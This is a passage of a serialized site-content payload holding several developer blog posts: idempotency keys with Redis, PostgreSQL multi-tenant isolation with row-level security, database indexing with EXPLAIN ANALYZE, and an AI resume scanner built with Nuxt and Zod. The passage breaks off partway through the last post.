same ",[23,7087,6411],{}," with a completely different payload or amount, hash the request body (",[23,7090,7091],{},"SHA-256",") and verify it against the cached hash. Reject with ",[23,7094,7095],{},"422 Unprocessable Entity"," if the payload mutated.",[201,7098,7099,7102,7103,7106],{},[49,7100,7101],{},"Server Crashes During Execution",": If your server crashes mid-flight while the status is ",[23,7104,7105],{},"PROCESSING",", the short 120s TTL ensures the key automatically expires rather than permanently locking the user out.",[201,7108,7109,7112,7113,7116],{},[49,7110,7111],{},"Database Transactions",": Always wrap state-altering database changes in atomic ACID transactions (",[23,7114,7115],{},"BEGIN ... COMMIT",") before updating the idempotency cache.",[274,7118,3727],{},{"title":21,"searchDepth":35,"depth":35,"links":7120},[7121,7122,7123,7124],{"id":6417,"depth":35,"text":6418},{"id":6507,"depth":35,"text":6508},{"id":6522,"depth":35,"text":6523},{"id":7076,"depth":35,"text":7077},"2026-08-25","How to implement Idempotency-Key headers with Redis to guarantee that network retries or double-clicks never create duplicate transactions or charges.",{},"\u002Fblog\u002Fen\u002Fdesigning-idempotent-apis",{"title":6393,"description":7126},"designing-idempotent-apis","blog\u002Fen\u002Fdesigning-idempotent-apis",[3745,4514,3746,3747,300],"6K_Mmospvh-bxbnf2IQJk51_kdS49k4H9JFbR_SMft0",{"id":7135,"title":7136,"author":7,"body":7137,"date":7424,"description":7425,"extension":290,"featured":291,"image":292,"meta":7426,"navigation":294,"path":7427,"readingTime":188,"seo":7428,"slug":7429,"stem":7430,"tags":7431,"__hash__":7434},"blog\u002Fblog\u002Fen\u002Fmulti-tenant-saas-architecture.md","Multi-Tenant SaaS Architecture: Schema-per-Tenant vs. Row-Level Security in PostgreSQL",{"type":9,"value":7138,"toc":7413},[7139,7146,7161,7163,7167,7237,7239,7243,7252,7256,7285,7289,7292,7294,7298,7309,7348,7351,7368,7371,7391,7393,7397,7411],[12,7140,7141,7142,7145],{},"When architecting a B2B SaaS platform, the single most impactful early decision is ",[49,7143,7144],{},"how you isolate tenant data",". Pick the wrong model, and you'll either hit database migration nightmares at 500 tenants, or risk catastrophic cross-tenant data leaks.",[12,7147,7148,7149,7152,7153,7156,7157,7160],{},"While architecting ",[49,7150,7151],{},"Shop-Tenant",", I evaluated the two most common PostgreSQL architectures: ",[49,7154,7155],{},"Schema-per-Tenant"," vs. ",[49,7158,7159],{},"Shared-Table with Row-Level Security (RLS)",". Here is the engineering breakdown.",[61,7162],{},[64,7164,7166],{"id":7165},"_1-the-core-dilemma","1. The Core Dilemma",[7168,7169,7170,7192],"table",{},[7171,7172,7173],"thead",{},[7174,7175,7176,7180,7183,7186,7189],"tr",{},[7177,7178,7179],"th",{},"Architecture",[7177,7181,7182],{},"Isolation Level",[7177,7184,7185],{},"Migration Complexity",[7177,7187,7188],{},"Connection Overhead",[7177,7190,7191],{},"Cost Scaling",[7193,7194,7195,7218],"tbody",{},[7174,7196,7197,7202,7205,7212,7215],{},[7198,7199,7200],"td",{},[49,7201,7155],{},[7198,7203,7204],{},"High (PostgreSQL Schemas)",[7198,7206,7207,7208,7211],{},"High (",[23,7209,7210],{},"N"," migrations)",[7198,7213,7214],{},"Moderate",[7198,7216,7217],{},"Scales well up to ~1,000 tenants",[7174,7219,7220,7225,7228,7231,7234],{},[7198,7221,7222],{},[49,7223,7224],{},"Row-Level Security (RLS)",[7198,7226,7227],{},"High (PostgreSQL Policies)",[7198,7229,7230],{},"Low (Single migration)",[7198,7232,7233],{},"Low",[7198,7235,7236],{},"Scales to millions of rows",[61,7238],{},[64,7240,7242],{"id":7241},"_2-approach-a-schema-per-tenant","2. Approach A: Schema-per-Tenant",[12,7244,7245,7246,129,7249,3932],{},"In this model, each customer gets their own PostgreSQL schema within the same database (",[23,7247,7248],{},"tenant_101.orders",[23,7250,7251],{},"tenant_102.orders",[193,7253,7255],{"id":7254},"advantages","Advantages",[198,7257,7258,7270,7279],{},[201,7259,7260,7263,7264,7266,7267,113],{},[49,7261,7262],{},"Accidental Leak Protection",": It is physically impossible for a query on ",[23,7265,7248],{}," to return records from ",[23,7268,7269],{},"tenant_102",[201,7271,7272,7275,7276,113],{},[49,7273,7274],{},"Easy Backups & Restores",": Exporting a single tenant's data is as simple as ",[23,7277,7278],{},"pg_dump -n tenant_101",[201,7280,7281,7284],{},[49,7282,7283],{},"Tenant-specific Extensions",": Easy to add custom tables for enterprise tiers.",[193,7286,7288],{"id":7287},"the-drawback","The Drawback",[12,7290,7291],{},"Running database migrations. When you release a schema change, your migration runner must loop over every tenant schema. At 2,000 tenants, a migration taking 100ms per schema means 3+ minutes of deployment downtime.",[61,7293],{},[64,7295,7297],{"id":7296},"_3-approach-b-shared-table-with-row-level-security-rls","3. Approach B: Shared-Table with Row-Level Security (RLS)",[12,7299,7300,7301,7304,7305,7308],{},"In this model, all tenants share a single ",[23,7302,7303],{},"orders"," table with a ",[23,7306,7307],{},"tenant_id"," column. PostgreSQL automatically filters queries at the database engine level using Row-Level Security.",[16,7310,7312],{"className":6066,"code":7311,"language":6068,"meta":21,"style":21},"-- Enable Row-Level Security on orders\nALTER TABLE orders ENABLE ROW LEVEL SECURITY;\n\n-- Create policy enforcing tenant isolation via session setting\nCREATE POLICY tenant_isolation_policy ON orders\n  FOR ALL\n  USING (tenant_id = NULLIF(current_setting('app.current_tenant_id', true), '')::uuid);\n",[23,7313,7314,7319,7324,7328,7333,7338,7343],{"__ignoreMap":21},[26,7315,7316],{"class":28,"line":29},[26,7317,7318],{},"-- Enable Row-Level Security on orders\n",[26,7320,7321],{"class":28,"line":35},[26,7322,7323],{},"ALTER TABLE orders ENABLE ROW LEVEL SECURITY;\n",[26,7325,7326],{"class":28,"line":41},[26,7327,428],{"emptyLinePlaceholder":294},[26,7329,7330],{"class":28,"line":170},[26,7331,7332],{},"-- Create policy enforcing tenant isolation via session setting\n",[26,7334,7335],{"class":28,"line":176},[26,7336,7337],{},"CREATE POLICY tenant_isolation_policy ON orders\n",[26,7339,7340],{"class":28,"line":182},[26,7341,7342],{},"  FOR ALL\n",[26,7344,7345],{"class":28,"line":188},[26,7346,7347],{},"  USING (tenant_id = NULLIF(current_setting('app.current_tenant_id', true), '')::uuid);\n",[12,7349,7350],{},"In your application middleware, you set the active tenant before executing any queries:",[16,7352,7356],{"className":7353,"code":7354,"language":7355,"meta":21,"style":21},"language-php shiki shiki-themes github-light github-dark","\u002F\u002F In Laravel \u002F Express Middleware\nDB::statement(\"SET LOCAL app.current_tenant_id = ?\", [$tenantId]);\n","php",[23,7357,7358,7363],{"__ignoreMap":21},[26,7359,7360],{"class":28,"line":29},[26,7361,7362],{},"\u002F\u002F In Laravel \u002F Express Middleware\n",[26,7364,7365],{"class":28,"line":35},[26,7366,7367],{},"DB::statement(\"SET LOCAL app.current_tenant_id = ?\", [$tenantId]);\n",[193,7369,7255],{"id":7370},"advantages-1",[198,7372,7373,7379,7385],{},[201,7374,7375,7378],{},[49,7376,7377],{},"Single Migration",": Migrations run instantly across the entire system.",[201,7380,7381,7384],{},[49,7382,7383],{},"Connection Pooling",": Excellent compatibility with connection poolers like PgBouncer.",[201,7386,7387,7390],{},[49,7388,7389],{},"Resource Efficiency",": Optimal memory utilization in Postgres buffer pools.",[61,7392],{},[64,7394,7396],{"id":7395},"_4-the-verdict","4. The Verdict",[198,7398,7399,7405],{},[201,7400,7401,7404],{},[49,7402,7403],{},"Choose Schema-per-Tenant"," if: You sell high-ticket enterprise contracts, clients demand dedicated schema isolation, and you plan for fewer than 1,000 tenants per database instance.",[201,7406,7407,7410],{},[49,7408,7409],{},"Choose Row-Level Security (RLS)"," if: You are building self-serve, high-volume SaaS where fast onboarding, instant migrations, and horizontal database scaling matter most.",[274,7412,276],{},{"title":21,"searchDepth":35,"depth":35,"links":7414},[7415,7416,7420,7423],{"id":7165,"depth":35,"text":7166},{"id":7241,"depth":35,"text":7242,"children":7417},[7418,7419],{"id":7254,"depth":41,"text":7255},{"id":7287,"depth":41,"text":7288},{"id":7296,"depth":35,"text":7297,"children":7421},[7422],{"id":7370,"depth":41,"text":7255},{"id":7395,"depth":35,"text":7396},"2026-08-20","Choosing between separate schemas and Row-Level Security (RLS) for your multi-tenant SaaS. Performance benchmarks, migration complexity, and tenant isolation.",{},"\u002Fblog\u002Fen\u002Fmulti-tenant-saas-architecture",{"title":7136,"description":7425},"multi-tenant-saas-architecture","blog\u002Fen\u002Fmulti-tenant-saas-architecture",[4514,7432,6387,7433,3747],"saas","laravel","F2oigwTRConquz6-yL4msYxwcZfMk0Wwd1-35P7T52k",{"id":7436,"title":7437,"author":7,"body":7438,"date":7726,"description":7727,"extension":290,"featured":291,"image":292,"meta":7728,"navigation":294,"path":7729,"readingTime":188,"seo":7730,"slug":7731,"stem":7732,"tags":7733,"__hash__":7734},"blog\u002Fblog\u002Fen\u002Fdatabase-indexing-explained.md","Database Indexing Explained: Why Your API is Slow Even with Just 50,000 Rows",{"type":9,"value":7439,"toc":7716},[7440,7443,7450,7452,7456,7459,7473,7476,7478,7485,7495,7525,7528,7534,7538,7564,7566,7570,7573,7582,7587,7593,7607,7609,7613,7623,7655,7675,7677,7681,7691,7711,7714],[12,7441,7442],{},"When developing locally with 20 seed records in SQLite or PostgreSQL, every query returns in under 1ms. But deploy that same code to production with just 50,000 customer records, and suddenly your dashboard endpoints take 1,200ms to respond.",[12,7444,7445,7446,7449],{},"The culprit is almost always a missing or misconfigured index. In this guide, we'll demystify how B-Tree indexes work under the hood, how to read ",[23,7447,7448],{},"EXPLAIN ANALYZE",", and the exact rules for multi-column composite indexes.",[61,7451],{},[64,7453,7455],{"id":7454},"_1-table-scan-vs-index-scan-the-phone-book-analogy","1. Table Scan vs. Index Scan: The Phone Book Analogy",[12,7457,7458],{},"Imagine searching for \"Sophie Martin\" in a phone book:",[198,7460,7461,7467],{},[201,7462,7463,7466],{},[49,7464,7465],{},"Sequential Scan (Seq Scan)",": Reading every single entry from page 1 to page 500 until you find the name. This is an (O(N)) disk operation.",[201,7468,7469,7472],{},[49,7470,7471],{},"Index Scan",": Jumping directly to the \"M\" section using an alphabetical index, finding \"Martin\", and jumping straight to the exact page. This is an (O(\\log N)) operation.",[12,7474,7475],{},"When your table lacks an index on a queried column, PostgreSQL has no choice: it must load every single page from disk into RAM and scan every row.",[61,7477],{},[64,7479,7481,7482,7484],{"id":7480},"_2-reading-explain-analyze-like-a-senior-engineer","2. Reading ",[23,7483,7448],{}," Like a Senior Engineer",[12,7486,7487,7488,7491,7492,76],{},"Before adding indexes blindly, you must profile the query plan. Prepend ",[23,7489,7490],{},"EXPLAIN (ANALYZE, BUFFERS)"," to your query in ",[23,7493,7494],{},"psql",[16,7496,7498],{"className":6066,"code":7497,"language":6068,"meta":21,"style":21},"EXPLAIN (ANALYZE, BUFFERS)\nSELECT id, customer_name, total_amount, created_at\nFROM orders\nWHERE status = 'completed'\n  AND created_at >= '2026-01-01';\n",[23,7499,7500,7505,7510,7515,7520],{"__ignoreMap":21},[26,7501,7502],{"class":28,"line":29},[26,7503,7504],{},"EXPLAIN (ANALYZE, BUFFERS)\n",[26,7506,7507],{"class":28,"line":35},[26,7508,7509],{},"SELECT id, customer_name, total_amount, created_at\n",[26,7511,7512],{"class":28,"line":41},[26,7513,7514],{},"FROM orders\n",[26,7516,7517],{"class":28,"line":170},[26,7518,7519],{},"WHERE status = 'completed'\n",[26,7521,7522],{"class":28,"line":176},[26,7523,7524],{},"  AND created_at >= '2026-01-01';\n",[12,7526,7527],{},"Look for two critical lines in the output:",[16,7529,7532],{"className":7530,"code":7531,"language":349,"meta":21},[347],"->  Seq Scan on orders  (cost=0.00..1842.00 rows=1240 width=48) (actual time=0.045..42.812 rows=1450 loops=1)\n      Filter: ((status = 'completed'::text) AND (created_at >= '2026-01-01'::date))\n      Rows Removed by Filter: 48550\n      Buffers: shared hit=842 read=1000\nPlanning Time: 0.120 ms\nExecution Time: 43.180 ms\n",[23,7533,7531],{"__ignoreMap":21},[193,7535,7537],{"id":7536},"key-red-flags","Key Red Flags:",[2488,7539,7540,7548,7556],{},[201,7541,7542,7547],{},[49,7543,7544],{},[23,7545,7546],{},"Seq Scan on orders",": The database examined all 50,000 rows.",[201,7549,7550,7555],{},[49,7551,7552],{},[23,7553,7554],{},"Rows Removed by Filter: 48550",": The engine threw away 97% of the data it read from disk.",[201,7557,7558,7563],{},[49,7559,7560],{},[23,7561,7562],{},"Buffers: read=1000",": The database had to read 1,000 blocks directly from cold storage instead of memory cache.",[61,7565],{},[64,7567,7569],{"id":7568},"_3-creating-the-optimal-index","3. Creating the Optimal Index",[12,7571,7572],{},"To fix this query, we create a B-Tree index on the filtered columns:",[16,7574,7576],{"className":6066,"code":7575,"language":6068,"meta":21,"style":21},"CREATE INDEX idx_orders_status_created_at ON orders (status, created_at);\n",[23,7577,7578],{"__ignoreMap":21},[26,7579,7580],{"class":28,"line":29},[26,7581,7575],{},[12,7583,4609,7584,7586],{},[23,7585,7448],{}," again:",[16,7588,7591],{"className":7589,"code":7590,"language":349,"meta":21},[347],"->  Bitmap Index Scan on idx_orders_status_created_at  (cost=0.00..12.40 rows=1450 width=0) (actual time=0.120..0.120 rows=1450 loops=1)\n      Index Cond: ((status = 'completed'::text) AND (created_at >= '2026-01-01'::date))\n      Buffers: shared hit=18\nExecution Time: 0.820 ms\n",[23,7592,7590],{"__ignoreMap":21},[12,7594,7595,7598,7599,7602,7603,7606],{},[49,7596,7597],{},"Result",": Execution time dropped from ",[49,7600,7601],{},"43.1ms down to 0.8ms"," — a ",[49,7604,7605],{},"52x speedup"," with 98% fewer disk reads!",[61,7608],{},[64,7610,7612],{"id":7611},"_4-the-golden-rule-of-composite-indexes-leftmost-prefix","4. The Golden Rule of Composite Indexes: Leftmost Prefix",[12,7614,7615,7616,7619,7620,113],{},"When creating multi-column indexes like ",[23,7617,7618],{},"CREATE INDEX idx_user_filter ON users (country, status, created_at)",", PostgreSQL reads columns ",[49,7621,7622],{},"from left to right",[198,7624,7625,7632,7637,7642,7649],{},[201,7626,7627,7628,7631],{},"✅ ",[23,7629,7630],{},"WHERE country = 'BJ'"," (Uses index)",[201,7633,7627,7634,7631],{},[23,7635,7636],{},"WHERE country = 'BJ' AND status = 'active'",[201,7638,7627,7639,7631],{},[23,7640,7641],{},"WHERE country = 'BJ' AND status = 'active' AND created_at > '2026-01-01'",[201,7643,7644,7645,7648],{},"❌ ",[23,7646,7647],{},"WHERE status = 'active'"," (Index CANNOT be used efficiently!)",[201,7650,7644,7651,7654],{},[23,7652,7653],{},"WHERE created_at > '2026-01-01'"," (Index CANNOT be used!)",[6214,7656,7657],{},[12,7658,7659,7662,7663,7665,7666,129,7669,129,7671,7674],{},[49,7660,7661],{},"Rule of Thumb",": Put exact equality columns (",[23,7664,746],{},") first, and range\u002Fcomparison columns (",[23,7667,7668],{},">",[23,7670,1521],{},[23,7672,7673],{},"BETWEEN",") last.",[61,7676],{},[64,7678,7680],{"id":7679},"_5-partial-indexes-the-secret-superpower","5. Partial Indexes: The Secret Superpower",[12,7682,7683,7684,7687,7688,76],{},"If 90% of your orders are ",[23,7685,7686],{},"completed",", indexing the entire table wastes disk and RAM. Use a ",[49,7689,7690],{},"partial index",[16,7692,7694],{"className":6066,"code":7693,"language":6068,"meta":21,"style":21},"-- Only indexes rows that match the condition\nCREATE INDEX idx_pending_orders ON orders (created_at)\nWHERE status = 'pending';\n",[23,7695,7696,7701,7706],{"__ignoreMap":21},[26,7697,7698],{"class":28,"line":29},[26,7699,7700],{},"-- Only indexes rows that match the condition\n",[26,7702,7703],{"class":28,"line":35},[26,7704,7705],{},"CREATE INDEX idx_pending_orders ON orders (created_at)\n",[26,7707,7708],{"class":28,"line":41},[26,7709,7710],{},"WHERE status = 'pending';\n",[12,7712,7713],{},"This index is 90% smaller, stays hot in RAM, and speeds up invoice processing queues dramatically.",[274,7715,276],{},{"title":21,"searchDepth":35,"depth":35,"links":7717},[7718,7719,7723,7724,7725],{"id":7454,"depth":35,"text":7455},{"id":7480,"depth":35,"text":7720,"children":7721},"2. Reading EXPLAIN ANALYZE Like a Senior Engineer",[7722],{"id":7536,"depth":41,"text":7537},{"id":7568,"depth":35,"text":7569},{"id":7611,"depth":35,"text":7612},{"id":7679,"depth":35,"text":7680},"2026-08-10","A visual guide to database bottlenecks. Explains table scans vs. index scans, when composite indexes work (and when they fail), and how to read EXPLAIN ANALYZE.",{},"\u002Fblog\u002Fen\u002Fdatabase-indexing-explained",{"title":7437,"description":7727},"database-indexing-explained","blog\u002Fen\u002Fdatabase-indexing-explained",[6387,6389,3748,3747,6068],"eDveI9i8iMWk0sJVyfO0p9pwrQW9wk5AFW9xLc8HeSg",{"id":7736,"title":7737,"author":7,"body":7738,"date":8386,"description":8387,"extension":290,"featured":294,"image":292,"meta":8388,"navigation":294,"path":8389,"readingTime":470,"seo":8390,"slug":8391,"stem":8392,"tags":8393,"__hash__":8396},"blog\u002Fblog\u002Fen\u002Fats-resume-scanner-ai.md","How I Built an ATS Resume Scanner with Nuxt 4, HuggingFace & Mistral-7B",{"type":9,"value":7739,"toc":8379},[7740,7747,7763,7765,7769,7772,7792,7794,7798,7804,8078,8080,8084,8087,8093,8313,8316,8318,8322,8332,8343,8350,8352,8356,8376],[12,7741,7742,7743,7746],{},"Over 75% of job applications are filtered out by automated ",[49,7744,7745],{},"Applicant Tracking Systems (ATS)"," before an actual recruiter reads them. Candidates often spend hours applying, only to be rejected by an algorithm due to missing keywords or unparsed formatting.",[12,7748,7749,7750,7753,7754,129,7756,7759,7760,113],{},"I built ",[49,7751,7752],{},"Talenta"," to demystify this hiring black box. In this article, I break down the architectural challenges of building a production AI resume scoring application using ",[49,7755,1111],{},[49,7757,7758],{},"HuggingFace Inference",", and ",[49,7761,7762],{},"Supabase",[61,7764],{},[64,7766,7768],{"id":7767},"_1-the-architecture-at-a-glance","1. The Architecture at a Glance",[12,7770,7771],{},"The core pipeline consists of three decoupled stages:",[2488,7773,7774,7780,7786],{},[201,7775,7776,7779],{},[49,7777,7778],{},"Document Parsing",": Extracting raw structured text from arbitrary PDF and DOCX files without losing section hierarchies (Experience, Education, Skills).",[201,7781,7782,7785],{},[49,7783,7784],{},"AI Semantic Matching",": Comparing the extracted resume tokens against the target job description using Mistral-7B-Instruct.",[201,7787,7788,7791],{},[49,7789,7790],{},"Deterministic Scoring Engine",": Combining semantic AI matching with strict rule-based scoring (keyword coverage, section completeness, contact info presence).",[61,7793],{},[64,7795,7797],{"id":7796},"_2-fast-secure-document-parsing","2. Fast & Secure Document Parsing",[12,7799,7800,7801,3932],{},"Parsing PDFs in Node.js server environments often leads to memory leaks if not handled carefully. Rather than relying on heavy headless browsers, I leveraged a lightweight stream-based PDF text extractor inside a Nuxt server route (",[23,7802,7803],{},"server\u002Fapi\u002Fparse-cv.post.ts",[16,7805,7807],{"className":366,"code":7806,"language":368,"meta":21,"style":21},"\u002F\u002F server\u002Fapi\u002Fparse-cv.post.ts\nimport { readMultipartFormData } from 'h3'\nimport { extractTextFromPdf } from '~\u002Fserver\u002Futils\u002Fpdf'\n\nexport default defineEventHandler(async (event) => {\n  const form = await readMultipartFormData(event)\n  const file = form?.find(item => item.name === 'resume')\n\n  if (!file || file.type !== 'application\u002Fpdf') {\n    throw createError({ statusCode: 400, message: 'Valid PDF required' })\n  }\n\n  \u002F\u002F Enforce 5MB limit to protect memory\n  if (file.data.length > 5 * 1024 * 1024) {\n    throw createError({ statusCode: 413, message: 'File exceeds 5MB limit' })\n  }\n\n  const extractedText = await extractTextFromPdf(file.data)\n  return { text: extractedText, wordCount: extractedText.split(\u002F\\s+\u002F).length }\n})\n",[23,7808,7809,7814,7826,7838,7842,7865,7882,7914,7918,7942,7963,7967,7971,7976,8003,8021,8025,8029,8046,8074],{"__ignoreMap":21},[26,7810,7811],{"class":28,"line":29},[26,7812,7813],{"class":490},"\u002F\u002F server\u002Fapi\u002Fparse-cv.post.ts\n",[26,7815,7816,7818,7821,7823],{"class":28,"line":35},[26,7817,376],{"class":375},[26,7819,7820],{"class":379}," { readMultipartFormData } ",[26,7822,383],{"class":375},[26,7824,7825],{"class":386}," 'h3'\n",[26,7827,7828,7830,7833,7835],{"class":28,"line":41},[26,7829,376],{"class":375},[26,7831,7832],{"class":379}," { extractTextFromPdf } ",[26,7834,383],{"class":375},[26,7836,7837],{"class":386}," '~\u002Fserver\u002Futils\u002Fpdf'\n",[26,7839,7840],{"class":28,"line":170},[26,7841,428],{"emptyLinePlaceholder":294},[26,7843,7844,7846,7848,7851,7853,7855,7857,7859,7861,7863],{"class":28,"line":176},[26,7845,1220],{"class":375},[26,7847,1223],{"class":375},[26,7849,7850],{"class":446}," defineEventHandler",[26,7852,892],{"class":379},[26,7854,506],{"class":375},[26,7856,689],{"class":379},[26,7858,4093],{"class":692},[26,7860,696],{"class":379},[26,7862,512],{"class":375},[26,7864,515],{"class":379},[26,7866,7867,7869,7872,7874,7876,7879],{"class":28,"line":182},[26,7868,2080],{"class":375},[26,7870,7871],{"class":436}," form",[26,7873,440],{"class":375},[26,7875,768],{"class":375},[26,7877,7878],{"class":446}," readMultipartFormData",[26,7880,7881],{"class":379},"(event)\n",[26,7883,7884,7886,7889,7891,7894,7897,7899,7902,7904,7907,7909,7912],{"class":28,"line":188},[26,7885,2080],{"class":375},[26,7887,7888],{"class":436}," file",[26,7890,440],{"class":375},[26,7892,7893],{"class":379}," form?.",[26,7895,7896],{"class":446},"find",[26,7898,892],{"class":379},[26,7900,7901],{"class":692},"item",[26,7903,5656],{"class":375},[26,7905,7906],{"class":379}," item.name ",[26,7908,712],{"class":375},[26,7910,7911],{"class":386}," 'resume'",[26,7913,479],{"class":379},[26,7915,7916],{"class":28,"line":470},[26,7917,428],{"emptyLinePlaceholder":294},[26,7919,7920,7922,7924,7926,7929,7931,7934,7937,7940],{"class":28,"line":476},[26,7921,706],{"class":375},[26,7923,689],{"class":379},[26,7925,3242],{"class":375},[26,7927,7928],{"class":379},"file ",[26,7930,3523],{"class":375},[26,7932,7933],{"class":379}," file.type ",[26,7935,7936],{"class":375},"!==",[26,7938,7939],{"class":386}," 'application\u002Fpdf'",[26,7941,718],{"class":379},[26,7943,7944,7946,7949,7952,7955,7958,7961],{"class":28,"line":482},[26,7945,4403],{"class":375},[26,7947,7948],{"class":446}," createError",[26,7950,7951],{"class":379},"({ statusCode: ",[26,7953,7954],{"class":436},"400",[26,7956,7957],{"class":379},", message: ",[26,7959,7960],{"class":386},"'Valid PDF required'",[26,7962,1867],{"class":379},[26,7964,7965],{"class":28,"line":487},[26,7966,657],{"class":379},[26,7968,7969],{"class":28,"line":494},[26,7970,428],{"emptyLinePlaceholder":294},[26,7972,7973],{"class":28,"line":518},[26,7974,7975],{"class":490},"  \u002F\u002F Enforce 5MB limit to protect memory\n",[26,7977,7978,7980,7983,7986,7988,7991,7994,7997,7999,8001],{"class":28,"line":526},[26,7979,706],{"class":375},[26,7981,7982],{"class":379}," (file.data.",[26,7984,7985],{"class":436},"length",[26,7987,5120],{"class":375},[26,7989,7990],{"class":436}," 5",[26,7992,7993],{"class":375}," *",[26,7995,7996],{"class":436}," 1024",[26,7998,7993],{"class":375},[26,8000,7996],{"class":436},[26,8002,718],{"class":379},[26,8004,8005,8007,8009,8011,8014,8016,8019],{"class":28,"line":532},[26,8006,4403],{"class":375},[26,8008,7948],{"class":446},[26,8010,7951],{"class":379},[26,8012,8013],{"class":436},"413",[26,8015,7957],{"class":379},[26,8017,8018],{"class":386},"'File exceeds 5MB limit'",[26,8020,1867],{"class":379},[26,8022,8023],{"class":28,"line":538},[26,8024,657],{"class":379},[26,8026,8027],{"class":28,"line":550},[26,8028,428],{"emptyLinePlaceholder":294},[26,8030,8031,8033,8036,8038,8040,8043],{"class":28,"line":561},[26,8032,2080],{"class":375},[26,8034,8035],{"class":436}," extractedText",[26,8037,440],{"class":375},[26,8039,768],{"class":375},[26,8041,8042],{"class":446}," extractTextFromPdf",[26,8044,8045],{"class":379},"(file.data)\n",[26,8047,8048,8050,8053,8056,8058,8060,8063,8066,8068,8070,8072],{"class":28,"line":567},[26,8049,521],{"class":375},[26,8051,8052],{"class":379}," { text: extractedText, wordCount: extractedText.",[26,8054,8055],{"class":446},"split",[26,8057,892],{"class":379},[26,8059,1132],{"class":386},[26,8061,8062],{"class":436},"\\s",[26,8064,8065],{"class":375},"+",[26,8067,1132],{"class":386},[26,8069,3932],{"class":379},[26,8071,7985],{"class":436},[26,8073,615],{"class":379},[26,8075,8076],{"class":28,"line":578},[26,8077,663],{"class":379},[61,8079],{},[64,8081,8083],{"id":8082},"_3-forcing-strict-json-from-llms-with-zod","3. Forcing Strict JSON from LLMs with Zod",[12,8085,8086],{},"One of the biggest issues with LLMs in production is hallucinated format changes: missing brackets, conversational filler (\"Sure, here is your evaluation...\"), or malformed JSON.",[12,8088,8089,8090,76],{},"To guarantee that the frontend receives type-safe data every time, the backend validates the raw model response against a strict ",[49,8091,8092],{},"Zod schema",[16,8094,8096],{"className":366,"code":8095,"language":368,"meta":21,"style":21},"import { z } from 'zod'\n\nexport const AtsAnalysisSchema = z.object({\n  overallScore: z.number().min(0).max(100),\n  matchedKeywords: z.array(z.string()),\n  missingKeywords: z.array(z.string()),\n  sectionFeedback: z.object({\n    experience: z.string(),\n    skills: z.string(),\n    education: z.string(),\n  }),\n  actionableRewrites: z.array(z.object({\n    originalSentence: z.string(),\n    improvedSentence: z.string(),\n    reason: z.string(),\n  })),\n})\n\nexport type AtsAnalysis = z.infer\u003Ctypeof AtsAnalysisSchema>\n",[23,8097,8098,8108,8112,8131,8161,8177,8190,8199,8209,8218,8227,8232,8245,8254,8263,8272,8277,8281,8285],{"__ignoreMap":21},[26,8099,8100,8102,8104,8106],{"class":28,"line":29},[26,8101,376],{"class":375},[26,8103,418],{"class":379},[26,8105,383],{"class":375},[26,8107,423],{"class":386},[26,8109,8110],{"class":28,"line":35},[26,8111,428],{"emptyLinePlaceholder":294},[26,8113,8114,8116,8118,8121,8123,8126,8129],{"class":28,"line":41},[26,8115,1220],{"class":375},[26,8117,4002],{"class":375},[26,8119,8120],{"class":436}," AtsAnalysisSchema",[26,8122,440],{"class":375},[26,8124,8125],{"class":379}," z.",[26,8127,8128],{"class":446},"object",[26,8130,777],{"class":379},[26,8132,8133,8136,8139,8142,8145,8147,8149,8151,8154,8156,8158],{"class":28,"line":170},[26,8134,8135],{"class":379},"  overallScore: z.",[26,8137,8138],{"class":446},"number",[26,8140,8141],{"class":379},"().",[26,8143,8144],{"class":446},"min",[26,8146,892],{"class":379},[26,8148,1858],{"class":436},[26,8150,3932],{"class":379},[26,8152,8153],{"class":446},"max",[26,8155,892],{"class":379},[26,8157,2241],{"class":436},[26,8159,8160],{"class":379},"),\n",[26,8162,8163,8166,8169,8172,8174],{"class":28,"line":176},[26,8164,8165],{"class":379},"  matchedKeywords: z.",[26,8167,8168],{"class":446},"array",[26,8170,8171],{"class":379},"(z.",[26,8173,3907],{"class":446},[26,8175,8176],{"class":379},"()),\n",[26,8178,8179,8182,8184,8186,8188],{"class":28,"line":182},[26,8180,8181],{"class":379},"  missingKeywords: z.",[26,8183,8168],{"class":446},[26,8185,8171],{"class":379},[26,8187,3907],{"class":446},[26,8189,8176],{"class":379},[26,8191,8192,8195,8197],{"class":28,"line":188},[26,8193,8194],{"class":379},"  sectionFeedback: z.",[26,8196,8128],{"class":446},[26,8198,777],{"class":379},[26,8200,8201,8204,8206],{"class":28,"line":470},[26,8202,8203],{"class":379},"    experience: z.",[26,8205,3907],{"class":446},[26,8207,8208],{"class":379},"(),\n",[26,8210,8211,8214,8216],{"class":28,"line":476},[26,8212,8213],{"class":379},"    skills: z.",[26,8215,3907],{"class":446},[26,8217,8208],{"class":379},[26,8219,8220,8223,8225],{"class":28,"line":482},[26,8221,8222],{"class":379},"    education: z.",[26,8224,3907],{"class":446},[26,8226,8208],{"class":379},[26,8228,8229],{"class":28,"line":487},[26,8230,8231],{"class":379},"  }),\n",[26,8233,8234,8237,8239,8241,8243],{"class":28,"line":494},[26,8235,8236],{"class":379},"  actionableRewrites: z.",[26,8238,8168],{"class":446},[26,8240,8171],{"class":379},[26,8242,8128],{"class":446},[26,8244,777],{"class":379},[26,8246,8247,8250,8252],{"class":28,"line":518},[26,8248,8249],{"class":379},"    originalSentence: z.",[26,8251,3907],{"class":446},[26,8253,8208],{"class":379},[26,8255,8256,8259,8261],{"class":28,"line":526},[26,8257,8258],{"class":379},"    improvedSentence: z.",[26,8260,3907],{"class":446},[26,8262,8208],{"class":379},[26,8264,8265,8268,8270],{"class":28,"line":532},[26,8266,8267],{"class":379},"    reason: z.",[26,8269,3907],{"class":446},[26,8271,8208],{"class":379},[26,8273,8274],{"class":28,"line":538},[26,8275,8276],{"class":379},"  })),\n",[26,8278,8279],{"class":28,"line":550},[26,8280,663],{"class":379},[26,8282,8283],{"class":28,"line":561},[26,8284,428],{"emptyLinePlaceholder":294},[26,8286,8287,8289,8292,8295,8297,8300,8302,8305,8307,8310],{"class":28,"line":567},[26,8288,1220],{"class":375},[26,8290,8291],{"class":375}," type",[26,8293,8294],{"class":446}," AtsAnalysis",[26,8296,440],{"class":375},[26,8298,8299],{"class":446}," z",[26,8301,113],{"class":379},[26,8303,8304],{"class":446},"infer",[26,8306,1521],{"class":379},[26,8308,8309],{"class":375},"typeof",[26,8311,8312],{"class":379}," AtsAnalysisSchema>\n",[12,8314,8315],{},"If the LLM output fails schema validation, an automated one-shot repair prompt fixes the JSON formatting before returning the payload to the client.",[61,8317],{},[64,8319,8321],{"id":8320},"_4-reactive-ui-and-quota-management","4. Reactive UI and Quota Management",[12,8323,8324,8325,1112,8328,8331],{},"On the frontend, ",[49,8326,8327],{},"Vue 3",[49,8329,8330],{},"Nuxt UI"," 